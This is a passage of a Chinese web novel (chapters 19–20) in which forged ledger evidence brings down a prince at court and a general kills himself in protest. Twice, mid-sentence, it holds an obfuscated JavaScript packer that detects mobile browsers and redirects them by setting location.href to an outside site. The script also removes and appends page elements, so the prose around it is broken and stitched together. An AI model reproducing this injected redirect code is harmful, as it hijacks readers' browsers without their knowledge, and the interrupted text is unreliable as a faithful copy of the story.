云阑跟在他身后,眉头紧锁,目光沉沉,有些不满:“九殿下,请上车。” 姬簌星老老实实爬进马车,又忍不住探出半个身子,“这是送我回府啊?” 姬昀雀利落地翻身上马,目光掠过他被宽大衣袍衬得愈发纤细的身形,最后落在姬簌星尚未消完肿的眼睛上。 他不再多看,一扯缰绳,声音清晰,“去陈府。” 19.第19章 陈府依旧,门上贴着封条,一股颓败之气扑面而来。。 姬簌星看见那陈府的牌匾,就想到了那浸着血的尸体。 他张了张嘴,好多次想说陈如海死在豫王府,是被薛穆清所杀,但最终咽回了肚子,仵作都查不出的端倪,他空口白牙说出来,谁会信? 一阵穿堂风掠过,卷起地上积灰,携着尘土与带着血腥的霉味,阴寒刺骨,姬簌星打了个寒噤,他快走两步,紧紧跟着姬昀雀的步子,又贴近了一点。 院子里搜查的人身着卫军服饰,却是些陌生面孔,动作利落却沉默,只余甲胄摩擦的轻响。 不多时,一只沾满湿泥的机关匣子放到院中石桌上,钥匙插进孔洞,咔哒一声,匣盖弹开。 姬簌星歪着头往前瞧,然后看到里面压着一本有些泛旧的账本。他屏住呼吸,就是这个账本吗?那这里面是……陈如海跟薛氏的账目? 他现在又有些担忧,皇兄会不会被姬洵璋报复。 姬昀雀垂着眸子,伸手将那账目拿起,泛黄的账本带着沉腐的木浆味,他刚翻开一页,便被突如其来的声音打断。 “殿下!” 郑岳气喘吁吁地从月门处奔来,额角带着汗水,他快走几步,目光触及姬昀雀手中的账本时骤然一亮,“殿下竟已寻到了?太好了!这上头记了什么?” 他伸手欲拿,动作很是急切。 姬昀雀几不可察地拧了下眉,指尖在书页上捻过,随即“啪”一声合上匣盖,“回去再议。” 郑岳手悬在半空,讪讪收回,拍了下脑门,“是是,得先归档入卷……瞧我急的。” 姬昀雀点了点头,视线却落在姬簌星身上。 郑岳眼里只有将要结案的喜色,丝毫没察觉姬昀雀已经落后了一步,站在了姬簌星身旁。 不知怎么的,姬簌星揪着衣摆有些紧张,他在想,姬昀雀寻到东西后会跟他说什么,会不会对他有几分改观,却只听到身畔传来一道平淡的声音:“回去了。” 姬簌星愣了愣,才慌忙跟上。 他视线里全是前方那人玄衣红底的官袍,眼神不自觉顺着衣袍往前瞧,姬昀雀身姿板正,宽肩窄腰,哪怕是最寻常的官袍,穿在身上也自有股清贵凛冽的气度。 他以前竟都没有发现。 云阑跟在两人身后,见姬簌星一个劲地瞧他家殿下,脸色变了几变,立马上前一步挡住他视线,“九殿下,请上马车。” 姬簌星蓦然回神,这才发现姬昀雀已翻身上马,手握缰绳,闻声回首瞥来一眼。 他脸颊腾地发热,慌忙钻进车厢。 马车晃晃悠悠,姬簌星趴在马车边,挑开了帘子,姬昀雀端坐马上,侧脸映着天光,眉眼如画,日光映在他鼻梁与下颌,渡上了一层浅淡的金色,冲淡了几分平日里的冷硬。 姬簌星眯着眼睛,盯着姬昀雀的侧脸瞧,唔,他是能瞧出来的,透过那模糊的轮廓,又看到了姬昀雀少年时那凌厉精致的脸。 他的目光太过灼热,姬昀雀垂眸瞥了他一眼,声音顺着风飘进马车,"在看什么?" 姬簌星唤道:"皇兄?" 姬昀雀面色未变,应了一声:"嗯?" 姬簌星的眼眸骤然亮起,声音里涌起压不住的雀跃,“你答应了!” “什么?” 姬昀雀侧过脸,正好看见姬簌星半个身子探出车窗,仰着脑袋望他,眼底亮晶晶的,眼皮上还带着昨日哭过的微红,模样瞧着有些傻气。 他兴高采烈的重复了一遍,“你刚刚答应了!” 姬昀雀盯着那双眼眸看了片刻,收回视线,没应声。 可这沉默在姬簌星眼里,便是默认的意思。 他嘴角克制不住地上扬,眼里盛满了笑意:"皇兄,我是不是很有用?我还能更有用的,以后我还能帮你......" "驾。" 姬昀雀猛地一扯缰绳,马儿打了个响鼻,快步向前,与马车拉开了些许距离,玄色衣摆随着动作翻飞,划开一道利落的弧线。 郑岳见他打马来到身边,瞧着他似乎缓和了些的脸色,试探着问道:"殿下跟九殿下的关系,倒是比传闻中亲近些?" 姬昀雀只侧眸看了他一眼,眼底瞧不出喜怒。 郑岳心头一凛,立马闭了嘴,暗自苦笑,九殿下性子跳脱,想一出是一出,七殿下向来清冷疏离,又不受宠,怎么可能真和九殿下亲近?是自己想多了。 他摇了摇头,催马跟上。 转过一条长街,尚书台的轮廓已在前方显现,郑岳正想催马加快速度,却见姬昀雀忽然勒住了缰绳。 后面的马车也随之停下。 “到地方了吗?怎么停了?” 姬簌星坐在马车里瞧不见外面,见马车停了,他便一把挑开帘子。 他眼里只有姬昀雀,忽视了周围有些凝滞的气氛。 “皇兄。” 姬簌星快走两步,想要过去姬昀雀身边。 可他刚迈开步子,骤然发现周遭有些静得过分,他打了个哆嗦,下意识往前面看去。 只见前面尚书台前,立着几道人影,旁的他不怎么认识,但是站在最前面的薛穆清穿着一身官服,腰间挂着廷尉正的牌匾,面上挂着谦和的笑,一双凤眸正瞧着他。 “九殿下。” 仅仅三个字,却让姬簌星浑身发冷,他看着薛穆清虚伪的脸,只觉得他像是披着美人面的画皮,骇人的很。 姬簌星警惕道:“你来做什么?” 薛穆清的目光从他身上移开,转向姬昀雀,"七殿下,刚在朝堂上得了消息,说殿下寻到了关键证据,特来迎殿下回殿复命。" 他顿了顿,视线落在姬昀雀手中的匣子上,故作惊讶:"殿下果然寻到账本了?" 姬昀雀冷笑一声,"薛廷尉的消息,倒是灵通。" 薛穆清摊了摊手,"也是情非得已,近日有人污蔑我家殿下暗度陈仓,构陷五殿下,陛下特命我们避嫌,全权交由殿下调查。如今殿下寻到账本,正好能还我家殿下一个清白。" 他话音刚落,旁边一个面容粗犷的中年男子便猛地踏前一步,粗声大骂:"什么账本!全是无稽之谈!" 正是五皇子姬鸿宸的舅舅,征南大将军杜沧远。 他额角青筋暴起,一双虎目瞪着薛穆清,"你怎么知道这匣子里记的就是五殿下的交易?分明是你们串通一气,污蔑五殿下!" 姬鸿宸在朝堂上本就根基不稳,这两年被姬洵璋处处打压,早已如履薄冰。 若是这账本真牵扯出私吞税银的罪证,别说夺储,能不能保住性命都未可知。 杜沧远越想越怒,"好啊!还以为你七殿下清高,原来和薛氏是一丘之貉,故意设局陷害!" 他身后的五皇子党羽也眼神不善地盯着姬昀雀,气氛剑拔弩张。 姬昀雀端着匣子,面容倒是平静,眼眸里只是稍微闪过一丝诧异,又恢复平静。 他指腹摩挲着匣盖边缘,暗自思索,这手里的账本匣子是假的,里面是薛家做的伪证。陈如海巡盐使的官印应当在薛穆清手里,那这匣子里的账本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16979605|193380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是真的也是真的。 而此次薛氏表面上因为避讳全程没有插手,抛去私运的那点银子到姬鸿宸府上,剩下的一直置身事外。 而他成了那柄刀,那柄把姬鸿宸推下棋局的刀。 望着杜沧远及众人眼中毫不掩饰的敌意与愤恨,姬昀雀心内漠然:薛穆清,果然是好算计。 他就信了姬簌星一次…… 他指尖摩挲着匣子,眼帘垂着,掩去眸底翻涌的阴郁,如今,他却有些看不透了,姬簌星这次,这次也是帮着姬洵璋来算计他的吗? 他声音很浅,遮掩了所有情绪,“那便去吧。” “不行!” 姬簌星猛地回神,刚才的对话他听得一清二楚,他扬着脑袋,眼神直直盯着薛穆清,"薛穆清,你算计我?" 姬昀雀抬眸,有些意外。 薛穆清凤眼微眯,笑意未达眼底,“九殿下何出此言?殿下莫不是还在为豫王殿下平日管教严格而置气?” 他声音温和,话语却如绵里针,“不过殿下确是长大了,嘴上说着不去看豫王殿下,心里却处处为王爷着想。” 姬昀雀握着木匣的手指,骨节用力。 云阑站在身后,死死咬着牙,脸色铁青。 姬簌星只觉得血液都冻住了,他没有,他哪里做这些了,薛穆清……该死! 他拳头攥得死紧,“薛穆清,你不要胡言乱语!” 他手掌控制不住地发抖,他想要转身,想要跟姬昀雀解释,但是他不敢看姬昀雀的脸。 他害怕,他害怕瞧见姬昀雀对他露出厌恶,他好不容易有点用,姬昀雀好不容易对他态度温和了些。 全毁掉了,皇兄肯定以为自己帮着姬洵璋算计他。 他低下头,盯着自己微微颤抖的鞋尖,带着破碎的恳求,“皇兄……我没骗你。” 他垂着眼,只能看见姬昀雀玄墨色的官袍下摆,情急之下,他伸出手攥住了姬昀雀的衣袖,“你信我……好不好?” 姬昀雀垂眸落到那捏着他衣角的指尖上,又移到姬簌星脸上,他垂着脸,姬昀雀看不太清他的表情,只能看到那白皙的脸上,眼皮微红,昨日哭的还没消肿,瞧着很傻。 他指尖动了动,轻轻拨开姬簌星的手,收回了自己的衣袖。 不是姬簌星做的。 这个认知让他面容稍缓,被借刀杀人固然不爽,但他本就有意将姬鸿宸踢出局,来启京两年,他没那么多时间跟这些人周旋。 薛穆清拧起眉毛,眸色沉沉地盯着姬簌星跟姬昀雀, 姬簌星性子单纯,对姬洵璋向来崇拜有加,怎么会在短短时间内变了心性?他盯着两人之间微妙的氛围,陷入了沉思。 衣袖被抽走的瞬间,姬簌星的心也跟着沉了下去,心慌得厉害。 姬昀雀淡声开口:"走吧。" 薛穆清收回视线,做了个"请"的手势:"七殿下,请。" 姬簌星猛地抬头,顾不得其他,上前一步急声道,"不行!这东西是我......" "九殿下!"薛穆清打断了姬簌星的话,“此事牵扯薛氏,豫王殿下为此事一夜未眠,你若是再阻挠,豫王殿下怕是又要多忧心两个时辰。” 他幽幽开口,目光却落在姬簌星身后,“你现在不体恤殿下了吗?那殿下可是要伤心了呢。” 姬簌星瞧见他不怀好意的目光,心脏重重一跳,他僵着脑袋回头。 就看到姬洵璋站在巷墙的阴影里,正瞧着他,而后视线落在他腰侧,那枚自己亲手挂上去的玉佩,不见了。 20.第20章 这些时日他确实在忙,忙得无暇顾及姬簌星,忽视了他。 可听到下面人禀报,说姬簌星近来与姬昀雀走得颇近时,他怔了片刻,几乎以为是自己听错了。 毕竟在他记忆里,姬簌星向来只会黏着他一个人,他这些时日没去瞧他,想来对方应当是赌着气,只是念头兴起,故意寻姬昀雀当乐子,过段时间得了厌便会把人丢下。 但偏偏薛穆清也这么说,还说姬簌星对姬昀雀不一般。 他敛了敛眉眼,看向前方僵立着的人,指尖无意识地收紧。 有他还不够吗?为什么还要寻旁的人?他难道对姬簌星不够好吗? 姬簌星没料到姬洵璋也在,他眼里先是惊愕,随即漫上一层怯意,可不过须臾,他便垂落眼帘,将那点慌乱掩得干干净净。 他就说薛穆清不是个好东西,惯是会算计。 他心里压着一口气,前有狼后有虎,得罪姬昀雀,自己未来会死;得罪姬洵璋,自己明日就要死。 姬洵璋背后的世家勋贵,连给帝王下药都敢,他一个不过是得了几分帝宠的闲散皇子,他们要捏死他,简直易如反掌,甚至能做得天衣无缝,寻不出半分错处。 他亲眼见过的,从前那两位尚有权势的皇兄,不就是悄无声息地没了,连半点水花也没翻起来吗? 姬簌星敛下眉眼,没有先行开口,他不知道要说什么。 姬洵璋盯着姬簌星瞧了一会,视线落到姬簌星身上,他原本带着怒,想要问姬簌星为什么,可视线莫明触及那衣袍的材质时,眉心拧了又拧,那衣裳质地不是绸锦,也没有织绣的花纹,除却穿在姬簌星身上依旧显得好看之外,一无是处。 比他备下的那些,差了何止千里。 思索现在秋寒,他又把嘴里的话咽了回去,他走上前来,开口第一句倒不是质问,只是站在他跟前,垂眸看着自己身前的人,叹了口气。 “不冷吗?”他的声音比平日柔和了几分,“你身子素来单薄,该多穿些的。” 远处的薛穆清一直瞧着此处,看见这一幕他脸色瞬间凝住,随即面容冷了下来,他头一次觉得,姬洵璋这般无可救药,成不了大事。 姬簌星拧了下眉,不知道怎么回话,只好道:“皇兄?” 难不成现在姬洵璋不骂他是给他面子? 姬洵璋没应声,只转头看向身后的铉方,铉方心领神会,忙取过一旁备好的披风,快步上前要给姬簌星披上。 可姬洵璋却先一步伸手,将那件披风罩在了姬簌星身上,动作轻柔,却带着不容拒绝的力道,系好后,他轻轻推了推姬簌星,声音平静无波,“铉方,送九殿下回王府。” 说罢他转过身,方才那点温和谦逊荡然无存,眉眼间淬着寒意,他不是故意试探姬簌星的,只是薛穆清总在他耳边说,姬簌星对姬昀雀近来多好多好。 如果姬簌星当初乖乖晚膳前回王府,就不会有这么多事端。 他视线扫过姬昀雀,眸底掠过一丝凛冽的杀意。如今朝堂之上,薛家党羽虽占了半数,可当年开国留下的那帮清臣,依旧握着几分权柄,他知道现在不应该太张扬太高调,成为众矢之的。 但如果姬鸿宸死后,他立刻就想要姬昀雀的命,一刻也等不及。 “不行!”姬簌星一把扯下身上的披风,声调有些高,“我也要去!” 姬洵璋与姬昀雀同时转头,目光落在他身上,一个沉冷,一个平静。 铉方上前一步,不动声色地挡在了姬簌星身前,语气恭敬却带着几分强硬,“九殿下,请。” 姬昀雀收回目光,语气平静,“云阑,九殿下方才说想回去,送他回府。” 云阑正焦急得要命,闻言诧异地看了自家殿下一眼,这都什么时候了,还有时间管九殿下? 但他不会违背姬昀雀的话,只得硬着头皮上前:“九殿下,请吧。” 姬洵璋看着这一幕,面色微沉,他重新审视了姬昀雀一眼,却并未说什么,而后拂袖而去。 铉方见状,拧了拧眉,默默后退了一步。 姬簌星站在原地没再坚持,他心里十分清楚,他在这里纠缠百遍也是无用。 待那一行人彻底消失在视线里,姬簌星转过身,朝着相反的方向走去。 云阑跟在他身后,忍不住低声催促,“殿下命我送九殿下回府。” “自然是要回府。”姬簌星望着远处巍峨的宫墙轮廓,嘴角勾起一抹自嘲的笑。 他猛地转身,扯住一旁拴着的马的缰绳,“扶我上马。” “什么?”云阑没反应过来。 姬簌星没再重复,他咬着牙,攥紧缰绳踩着马镫,笨拙地翻身上马,他手心沁出薄汗,缰绳硌得掌心生疼。 他呼出一口冷气,他年幼时马术不精,在马背上摔下来后太子哥哥便不让他学骑马,后来等他长大一些,太子哥哥教了两三日便又去了北郡。 他原本是想等太子哥哥回来后教他的,只是没等到…… 他深吸一口气,压下心头翻涌的涩意,猛地扬鞭。 “驾!” 云阑脸色一变,暗骂一声,连忙斩断马车的缰绳,翻身上马,面色阴沉地追了上去。 乾承殿内,气氛凝重。 殿宇金碧辉煌,黑石玉砖冰凉如镜,映出两旁文武百官肃立的身影,自赤至青,依品阶而列,文左武右,泾渭分明,气氛十分微妙。 姬戎坐在上首,掌心搭在龙椅上,面色阴沉。他的视线落在百官之首的位置,丞相薛嵇,他眸子里闪过一丝戾气。 前朝后宫,快成这薛家的一言堂了。 当初陆氏在时,还能与薛氏分庭抗礼,可惜陆氏满门抄斩,世家集团唯薛氏马首是瞻,现在就连他下的旨意,执行起来都处处掣肘。 前朝今朝,换汤不换药,难不成往后天下还是要沦为世家都掌中之物吗? 薛嵇年过六旬,头戴进贤冠,须发间已杂了银丝,面容却仍显精神。此刻他微敛双目,仿佛朝堂上的一切纷争都与他无关。 跪在大殿中央的姬鸿宸面色阴鸷,浑身紧绷,他自认行事低调,却还是着了道。昨日他才发现,自己的府邸里竟遍布细作,刚处置完那些人,就被带到了殿上。 说他与巡盐使勾结,私吞税银?简直是天大的笑话!谁不知道那陈如海是薛家的门生,他连陈如海的面都没见过几次,何来私吞税银一说? 此事曝出后,帝王震怒,下令彻查,差事落到了姬昀雀头上。 可偏偏…… 姬鸿宸侧过头,阴狠瞪了一眼身旁垂眸而立的姬昀雀,交由他负责便罢了,他竟还真的查出了一本所谓的罪证账本! 账本由姬戎贴身常侍呈上前去,姬戎一目十行,账本颇旧,瞧起来有些年头,上面字迹清晰,一笔一目的都记得清清楚楚。 姬戎眼神冰冷,视线扫过众臣,最后啪的一声将那账本丢了出去。 “逆子,你还有什么好说的?!” 他指着姬鸿宸,面上有些恨铁不成钢,“官印在上,字迹时间也对得上,你到底要做什么?!” 那账本掷在姬鸿宸额头,又啪的一声掉落在地面上,他慌忙捡起来看,只见那上面白纸黑字写得清清楚楚,还盖着巡盐使的官印。 他面色一白,慌张道:“父皇!儿臣没有做过这些事!这是栽赃陷害!是彻头彻尾的栽赃陷害啊!” 他慌张地拿起账本,指着账本上的某一页,急切的辩解。 “父皇您看!鸿启十七年,儿臣刚领了卫尉的差事,根基未稳,这上面竟说儿臣威胁陈如海私挪二十万税银!儿臣要这些银子做什么?况且儿臣府上的用度,父皇一清二楚,哪里有这么多银两?请父皇明察啊!” “陛下!” 一声洪亮的嗓音响起,镇南大将军杜沧远跨步走出。 不过两日光景,这位素来英武的将军,竟已生出了些许华发,他跪在地上,朗声道:“臣请陛下彻查此案!还五殿下一个清白!” 他话音刚落,身后的武将们纷纷附议,这些人大多是功臣,凭着实打实的战立足,便是姬洵璋也不敢轻易动他们。 武将阵列里,唯有楚明赫立在原地,纹丝不动,显得格外扎眼,他身旁的同僚纷纷侧目,下意识地往旁边挪了挪,与他划清界限。 他们武将,最不齿的就是背叛旧主,首鼠两端,楚明赫的祖父背叛旧朝拿了侯爷的位置,楚明赫又投奔薛氏以谋求高位,这般行径,实在令人不齿。 任旁人怎么想,楚明赫依旧稳当当地站着,低眉垂目,似乎这场风波与他无关。 “臣,有事要奏。” 文官阵列里,走出一人,身着绯色官袍,头戴进贤冠,正是太仓令李桉。 姬戎淡淡地瞥了他一眼,冷声道:“讲。” 李桉上前一步,高举笏板,朗声道:“臣参奏五皇子姬鸿宸,目无王法,藐视皇律!去年端州水患,国库空虚,粮草未济,朝廷集数州之力才堪堪补上端州的缺口,数万百姓流离失所,苦不堪言。可五皇子却向朝堂禀明,说自己府邸无银,无力赈灾!” 姬鸿宸瞪大了眼睛,脱口而出,“我府上就是没银子……” 他家本就不是世家大族,府里的铺子营收,全都花在了刀刃上,哪里有余力赈灾? 李桉冷哼一声,指了指前面的账本,语气带着浓浓的讥讽,“是没银子还是拿着银子不出,殿下心里明白,白纸黑字俱在,殿下还想狡辩不成?” 他面向姬戎,手里笏板高举,“臣以为五殿下心胸狭隘,不顾百姓,又藐视律法,逼迫官员行那暗度陈仓之事,私拿税银,此乃国之害虫,臣请严肃处置!” 话音落,后面有官员陆续出列。 “臣附议!” “臣附议!” …… 李桉在前,后面官员紧随其后,两人与对面武将对视一眼,眸子里都是冷然与算计。 杜沧远气得浑身发抖,怒声喝道:“一派胡言!” 这些文官,平日里只会在皇城写写画画,要粮草时推三阻四,要兵马时拖沓推诿,现在倒是会落井下石了! 姬鸿宸确实有些见不得光的进项,但绝不是什么税银。 他气得脸色涨红,嘶吼道:“血口喷人!全是一派胡言!” 李桉不甘示弱,上前一步,“证据确凿,大将军还想抵赖?私吞税银,可是株连九族的大罪!” “够了!” 姬戎指尖按在眉心,只觉得一阵头痛欲裂。殿上的争吵声,实在聒噪。 他抬眼望去,只见殿上文武分立,泾渭分明,薛嵇立在最前方,面色平静如深潭,而在这两派之外,只有寥寥数人,是真正的置身事外。 当年他身为开国帝王,新登基加之帝后大婚,同年太子姬临阙降生,大赦三年,三年后开恩科,寒门子弟入朝。 可惜没过多久就被世家联手废止,又成了九品中正,举荐为官,说得倒是好听,转来转去这权柄还是捏在各大世家手里。 他们紧握着手,盘根错节地扎在皇权之上,连一丝缝隙都不往下漏。 他的目光落在两个人身上,右班第三列,是身穿绯袍的御史;左班第二列……是当年恩科状元孔修言…… 他指尖轻轻敲击着龙椅的扶手,心中涌起一阵深深的无力,他们太年轻了,也太微弱了。而他,也太老了。 当年金戈铁马意气风发时立下的誓,被消磨碾碎,成了妄言。 胸口阵阵发闷,他强压住咳嗽,沉声道:“尚书侍郎。” 姬昀雀往前一步,“臣在。” 姬戎揉了揉额角:“此事由你主理,你以为如何?” 姬昀雀垂着眸子,语气平淡无波,“臣只信证据。” 他话说完,杜沧远就怒喝一声,“七殿下!” “七殿下,这么浅显的假证据我不信你瞧不出来,说,你受了他们薛氏多少恩惠!” 立在前面的薛嵇终于抬了抬眼,“杜将军,慎言,如你所见,这案子是七殿下负责的,证据也是七殿下查获的,与我薛家,有何干系?” 杜沧远气得须发皆张,指着薛嵇的鼻子骂道,“老匹夫!别以为旁人都是瞎子!满朝文武谁不知道,那陈如海是你薛家的门生!如今他死了,你们便来栽赃陷害五殿下,真是好手段!” 薛嵇面色依旧平静,眼帘微垂,遮住了眸底一闪而过的轻蔑与嘲讽。 李桉见状,连忙出声呵斥:“杜沧远!你竟敢在朝堂之上辱骂朝廷命官,此乃藐视陛下,藐视皇威!” 杜沧远猛地转头,双目圆睁,“少给老子扣帽子!” 他再次转向姬戎,重重叩首:“陛下!臣愿以性命担保,五殿下绝无私吞税银之举!请陛下彻查此案,还五殿下清白!” 姬鸿宸也回过神来,连连磕头:“是啊父皇!儿臣冤枉!儿臣真的没有私吞税银啊!” 他是借着皇子的名义开了些铺子,偷印了些私钱,又外借了不少府银,但是这砍脑袋的事真没做。 可薛家党羽根本不给他辩解的机会,纷纷高声道: “证据确凿,臣请陛下裁决!” “请陛下圣裁,将五皇子贬为庶人,交由廷尉严加审讯!” “请陛下圣裁!” “臣附议!” 陆陆续续有人站了出来,声音越来越大。 姬洵璋站在一侧,他早就知道结果,心里毫无波澜。 姬昀雀也站在一旁,面上没有丝毫情绪。生在天家,血脉亲情是最不值钱的东西,若他日自己登临帝位,便留诸位兄弟一条性命,可后来他才明白,那不过是不切实际的奢望。 唯有权柄在手才能绝对自由,才能护住自己想要的东西。 这个道理,他很小的时候就已经明白了。 他视线望向一旁的姬鸿宸,目光里没有怜悯,也没有嘲讽,只有一片冰封般的漠然,成王败寇,本就是天家常态。 他收回目光,却对上了姬戎的视线,父子二人隔着九重台阶遥遥相望,彼此的眸子里都藏着深沉的情绪,姬戎先移开了视线,他视线沉沉地望向下方,准确地落在姬鸿宸身上。 “五皇子姬鸿宸,德行有亏……” “父皇!” 姬鸿宸脸色惨白,神态焦急,他想要上前一步,却被殿前侍卫死死按住。 姬戎停下了,但目光没有看向他,而是看向了殿外,众人目光随之看过去,才发现刚刚唤“父皇”的不止一个。 “父皇!” 这一声父皇,清脆响亮。 姬簌星身着皇子服制,腰配只系了一条玉带,发间只是用一根同色发带束起,不知是不是来得匆忙,没来得及戴冠。 他匆忙行至殿前,这才停下步子,举着皇子令牌,跨步走进殿内,他没去瞧两旁的人,而是径直走到大殿中央,给姬戎行礼。 “父皇万岁。” 姬洵璋在姬簌星出现的刹那,面上表情有些凝固,想起薛穆清那些话,眼神愈发晦暗。 姬昀雀侧眸瞧过去,微微眯起眼眸,他确实没想到姬簌星会来。 姬簌星换了一身新做的皇子服,但是颈侧手腕什么都没戴,应当是匆忙赶来的,里面未曾加衣,被冷风吹得耳尖有些红。 姬戎也很诧异,垂眸道:“小九?你来做什么?” 姬簌星平复了下呼吸,没有顾及周围冷凝的气氛,像是无所察觉般,开口,“儿臣想来求父皇赏赐。” 此言一出,满殿哗然。 姬洵璋眸色瞬间沉了下去。 姬戎看着他,声音还算平和,“赏赐?你要什么赏赐?” 杜沧远面上有些愠怒,事关宸儿性命安危,这个九皇子还跑来要赏赐?他脸上带着怒,压着声音道:“九殿下来凑什么热闹?” 姬戎摆了摆手,“小九,你说。” 姬簌星深吸一口气,目光扫过殿中众人,最后落在姬鸿宸身上,他伸出手指,指着姬鸿宸,语气理直气壮。 “父皇!儿臣是来领功的!那本账本的线索,明明是儿臣寻到的,凭什么要算在七皇兄头上?虽说此案是由七皇兄负责,可这功劳,理应是儿臣的!” 姬昀雀望着他,垂在身侧的手蜷缩了下。 杜沧远勃然大怒:“九殿下!你在胡搅蛮缠什么?” 姬戎拧眉,“哦?此话怎讲?” 姬簌星深吸一口气,“儿臣是说这线索都是儿臣给的,要不是儿臣,七皇兄还要费些时候。” “姬簌星!”姬鸿宸气得双目赤红,猛地挣脱侍卫的钳制,“你胡说八道什么?!” 他狠狠地看了姬簌星一眼,起身揪住他的领子,“我知道了,是姬洵璋!是姬洵璋让你说的是不是?哈哈哈哈哈,说什么置身事外,我就知道他脱不了干系!” 姬簌星拍开他的手,后退一步,“是我。” 姬鸿宸眉眼压低,恶狠狠道:“是你?就凭你?你能做什么?还寻证据?你从哪里寻来的证据?!” 姬簌星紧握手指,“就是我拿到的证据,那钥匙是我捡到的,阴差阳错就是对上了,你能拿我怎么着?” “你!”姬鸿宸怒不可遏,扬手就要朝姬簌星打去。 “放肆!” 姬戎怒喝一声,吓得姬鸿宸立即跪地,为自己辩解,“假的,假的!父皇,儿臣冤枉!他们三个联手陷害我啊!” 但是他清楚,满朝文武也清楚,证据远比空口白牙来得管用。 姬戎揉了揉发胀的眉心,缓缓闭上了眼睛。良久,他才睁开眼,声音带着疲惫,“五皇子姬鸿宸藐视律法,私盗税银,即日起——废除皇子身份,贬为庶民,交由宗正司看管。” 他语气顿了下,“镇南大将军杜沧远,藐视皇威,殿前失控,降为卫将军,禁足三月!” “父皇!”姬鸿宸面色剧变,想要上前一步,却又被殿前侍卫控制住。 他望着龙椅上的姬戎,眼中满是不甘,“父皇怎能如此待我,这些年来我未曾比几位皇兄用功少,在卫尉这些年,也不曾懈怠,儿臣母妃族兄,当年为父皇战死沙场……” “够了!”姬戎抬起眸子,盯着他,“你在怪朕?” 姬鸿宸浑身一颤,到了嘴边的话,硬生生咽了回去,再也不敢出声。 “哈哈哈哈哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16983817|193380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哈!” 杜沧远闻言大笑,他跨步出列,一把摘下头上的武冠,他身高八尺有余,立在殿中像是一把剑。 他仰天大笑,声音震彻朝堂。 姬戎搭在眉宇间的手一顿,冷然抬眸,“卿在笑什么?” 杜沧远收了笑容,“姬戎啊姬戎,你当真不知道吗?” 姬戎旁边的江福明变了脸色,“大胆,竟敢直呼陛下名讳!” 姬戎猛地抬手,制止了江福明,他看着杜沧远,沉声道,“让他说。” 杜沧远眸子里尽是悲凉,“当年我父身为阳城富贾,瞧你有力破三军之勇,卖掉全部身家助你逐鹿天下,那时我为你副将,随你从北郡一路打到青州,你站在瑶山上指着启京对弟兄们说,前朝沉疴难愈,世家食禄废纲,唯有你姬戎要劈开这世家大山。” “可事实呢?你坐上了龙椅,也忘了你的来处。” 杜沧远的声音陡然拔高,“你忘了你怎么发的家,你忘了你怎么借着陆家才坐上这个位置!” 此言一出,满殿皆惊,众人连大气不敢出。 “姬戎,你就是命带孤寡!沈宥是你表家弟兄,还不是落得血脉断绝。陆家对你倾心尽力,陆皇后死后,你还不是对陆家满门抄斩,让她唯一的儿子客死他乡,还有我妹妹,当真是病重而死?” 姬戎沉静听着,辨不清情绪。 旁边臣子颤着手指,喃喃开口,“疯了,真的是疯了?” 杜沧远继续道:“你早就忘了来时路,你坐上龙椅,穿上帝袍,昔日的话你忘得干干净净,你笑前朝旧帝是世家傀儡,可你现在又有什么两样。” “你说过的话忘了,可我没忘。我外甥没有太子聪慧,可也不曾偷懒耍滑,他幼年时便没了母亲,只有我这个舅舅。” 哗啦一声,杜沧远扯开衣裳,露出身上狰狞的刀疤,“当年我为陛下挡下这一刀,陛下说许我一愿,荣华富贵,权柄美人,当年我都没要。今日,我向你求一个。” 杜沧远伸手指着跪在地上的姬鸿宸,目光灼灼,一字一句道:“我要你,留我外甥一条性命!” 姬鸿宸猛然抬头,颤声道:“舅舅!” 杜沧远没看他,目光依旧死死地盯着姬戎,“陛下可允否?” 姬戎的脸色一阵青一阵白,他死死攥着拳头,沉眸看着杜沧远,声音里压着怒意,“朕未曾说过要你俩的性命!” 杜沧远不动,眼眸里像是聚着一团火,又问,“主公可允否?” 姬戎捏紧了拳头,终是闭上眼眸,“……允。” “哈哈哈哈!” 杜沧远仰头大笑,声音悲凉而粗犷。 “臣,跟随陛下二十年,忠心耿耿,肝脑涂地。今日却遭小人算计,身陷囹圄。臣,未败于沙场,却要死于朝堂!” 他深吸一口气,目光扫过殿上的薛家党羽,最后落在薛嵇身上,眼神里满是恨意。 “臣,今日就要以死明志!” 话音落下的瞬间,杜沧远猛地转身,朝着身旁的朱红漆柱撞去! 砰! 杜沧远额角凹陷,沾着满头的血,血迹从他嘴角流下,他拼着最后一口气道:“薛氏狗贼,残害忠良……” “舅舅!” “大将军!” 朝堂霎时大乱,哭喊声、惊叫声交织一片。 薛穆清的脸色极为难看。 薛嵇一贯平静的面容,终于裂开了一丝缝,他盯着倒在地上的杜沧远,眼神冰冷得可怕。 姬簌星抬眸,跟站在旁侧的姬昀雀四目相对,他听到了碰撞声,紧接着就闻到了血腥味。 他想要转头,身子却僵在原地。 身后覆上了一双温热的手,有人在他耳边轻声开口,“别回头看,小殿下。” 这人他不认识,声音也未曾听过,等他回过神来时,已被人蒙着眼睛带出了殿外。 外面太亮,他下意识眯了眯眼睛,等回过头来,只瞧见了一身赤袍边角,消失在不远处的回廊尽头。 姬昀雀踏出殿门,站在他面前。 姬簌星抬头,“刚刚那是?” 